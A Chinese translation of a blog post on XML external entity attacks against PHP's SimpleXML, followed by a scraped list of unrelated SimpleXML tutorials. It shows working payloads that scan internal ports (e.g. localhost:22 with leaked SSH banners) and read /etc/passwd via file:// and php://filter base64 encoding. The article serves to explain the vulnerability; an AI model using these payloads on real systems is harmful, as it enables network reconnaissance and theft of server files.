`

[译]使用SimpleXML扫描内网

 
阅读更多
原文地址:https://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/
XML支持使用外部实体,从而允许你从外部资源获得信息。当你想要创建一个在XML文档中共享的参考时这将很有用--当你更新外部资源时,在所有的xml文档中也将自动更新。例如,当我们更新copyright.xml文件时,他将自动被放置到xml文档中
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [
  <!ELEMENT copyright (#PCDATA)>
  <!ENTITY c SYSTEM "http://www.xmlwriter.net/copyright.xml">
]>
<copyright>&c;</copyright>

SimpleXML SimpleXML允许我们将任何url-例如http://www.example.com/hsfsfa.xml引入到文档。问题是如果外部实体不是一个合法的入口点,那么它将不会被解析,然后php将会抛出错误。
Warning: simplexml_load_string(): php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Warning: simplexml_load_string(http://www.example.com/blahblahblah.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

问问题是PHP没有对可以访问的URL进行限制;解析器可以访问的的url都可以包含在xml中作为一个外部实体。即使allow_url_fopen被设置为false,那么也可能包含这些xml文件。而且还可以指定xml 解析器连接的端口:
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>

如果开启了PHP错误信息,那么你将得到访问的服务的旗标,即使该端口不支持HTTP协议。
Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
 in testxml.php on line 10

如果禁止错误信息,仍可以通过比较连接一个打开端口(例如80端口)的时间和一个关闭端口的时间来猜测。使用这种技术,可以扫描xml解析器可以到达的内网.

文件泄漏
事实上不仅可以包含远端url,而且可以包含本地文件通过使用file://,例如
<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<scan>&test;</scan>

如果返回结果,那么用户将会得到/etc/passwd的内容-前提是本地文件必须是合法的xml也就是说不可能包含二进制文件--但是,通过使用PHP过滤器,也可以将二进制文件编码为base64,然后返回:
<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

分享到:
评论

相关推荐

    SimpleXML,SimpleXML示例

    在这个示例中,我们将深入探讨SimpleXML的使用方法和核心特性,以及如何通过它来解析XML文档。 首先,让我们理解XML(eXtensible Markup Language)的基本概念。XML是一种标记语言,设计用来传输和存储数据,其结构...

    SimpleXML

    加载XML文档非常简单,只需要使用`simplexml_load_string()`或`simplexml_load_file()`函数。前者接受XML字符串,后者接收XML文件路径: ```php $xmlString = '&lt;root&gt;&lt;element&gt;Value&lt;/element&gt;&lt;/root&gt;'; $xmlObject...

    delphi解析xml-simplexml

    为了处理XML文档,Delphi提供了一个名为SimpleXML的库,它是一个轻量级且易于使用的XML解析器。本篇文章将深入探讨如何在Delphi中使用SimpleXML来解析XML文件。 首先,我们需要了解XML的基本结构。XML文档由元素、...

    php下使用SimpleXML处理XML文件.pdf

    下面我们将详细讨论如何使用SimpleXML来处理XML文件。 1. **SimpleXML简介** SimpleXML是PHP 5引入的一个轻量级库,用于处理XML数据。它通过将XML文档转换为PHP对象,使得开发者可以像操作PHP数组或对象一样轻松地...

    GWT SimpleXML, XML解析

    在描述中提到的“XML解析例子”是指如何在GWT环境中使用SimpleXML来解析从服务器获取的XML数据。这通常涉及以下几个步骤: 1. **发起HTTP请求**:在GWT中,可以使用`com.google.gwt.http.client.RequestBuilder`类...

    converter-simplexml-2.1.0

    使用Retrofit2和converter-simplexml-2.1.0,你需要在Retrofit实例化时配置这个转换器工厂。以下是一个示例代码: ```java // 引入SimpleXML转换器工厂 import retrofit2.converter.simplexml....

    PHP 中的 SimpleXML 处理

    只要文档层次不深、不很复杂,而且没有混合内容,SimpleXML 要比使用 DOM 简单得多。如果事先知道文档结构该工具将更有用,虽然通过 XPath 可以满足这种要求。虽然不支持验证和混合内容有点不方便,但不是绝对的。很...

    SimpleXML解析XML

    首先,让我们了解一下如何使用SimpleXML加载XML文件。假设我们有一个名为`parser_profile.xml`的文件,内容可能如下: ```xml &lt;name&gt;John Doe &lt;email&gt;johndoe@example.com&lt;/email&gt; &lt;age&gt;30 &lt;name&gt;Jane ...

    Android开发-Retrofit-AndroidStudio(四)simplexml解析XML_免积分

    在本教程中,我们将深入探讨如何在Android Studio项目中使用Retrofit与simplexml库一起解析XML数据。简单XML库(Simple XML)是Java中一个轻量级、高效的XML序列化和反序列化库,非常适合处理XML格式的数据。 首先...

    Delphi关于SimpleXML 汉化修正版源代码.rar

    SimpleXML汉化修正版——D6-D2010,专用于解析 XML 文件的单元,这个不是官方原版,在使用过程中对发现的Bug进行过修正,已汉化成中文,如果觉得不可靠,请下载官方原版。  目前注意事项:  当保存XML 的时候,...

    php使用simplexml_load_file加载XML文件并显示XML的方法

    下面我们将详细探讨如何使用`simplexml_load_file`以及它的一些基本用法。 首先,`simplexml_load_file`函数的语法如下: ```php simplexml_load_file(string $filename, string $class_name = 'SimpleXMLElement'...

    SimpleXML代码

    SimpleXML在Delphi中的使用,主要涉及到以下几个关键知识点: 1. **XML DOM(Document Object Model)模型**:DOM是XML文档的一种表示方式,它将XML文档转换为一棵树形结构,每个节点代表XML文档的一部分。...

    haoxoingdi_SimpleXML D6-D2010 改正版.rar

    2. **UXMLDemo.dcu**:这可能是 SimpleXML 示例应用的一个单元文件,展示了如何在 Delphi 中使用 SimpleXML 组件。 3. **UXMLDemo.dfm**:这是 Delphi 的表单文件,定义了示例应用的用户界面布局和组件。 4. **XML...

    simplexml

    总结起来,"simplexml" 关注的是简化XML处理,而涉及的领域包括XML解析、DOM操作、SQL查询以及可能的C++ XML库的使用。学习这些知识点可以帮助我们高效地处理XML数据,实现数据的存储、检索和转换,并在数据库管理中...

    PHP 5 SimpleXML 函数

    PHP 5 SimpleXML 函数 PHP SimpleXML 简介 SimpleXML 扩展提供了一种获取 XML 元素的名称和文本的简单方式,只要您知道 XML 文档的布局。 SimpleXML 转换 XML 文档到 SimpleXMLElement 对象...无需安装即可使用这些函

    php下使用SimpleXML 处理XML 文件

    SAX 基于事件触发机制, 对XML 文件进行一次扫描,完成要进行的处理;DOM 则将整个XML 文件构造为一棵DOM 树,通过对DOM 树的遍历完成处理。这两种方法各有优缺点,SAX 的处理思路相对抽象, DOM 的处理过程相对烦琐...

    探讨如何使用SimpleXML函数来加载和解析XML文档

    本文将深入探讨如何使用SimpleXML函数加载和解析XML文档。 首先,我们来看SimpleXML中最核心的函数`simplexml_load_file()`。这个函数用于从指定的文件路径中加载XML文档,并将其转换为一个SimpleXMLElement对象。...

    PHP中simplexml_load_string函数使用说明

    当使用`simplexml_load_string`处理这段字符串时,结果看起来有些意外: ```php $data = simplexml_load_string($string); print_r($data-&gt;foo); ``` 输出为: ```php SimpleXMLElement Object ( [bar] =&gt; hello...

Global site tag (gtag.js) - Google Analytics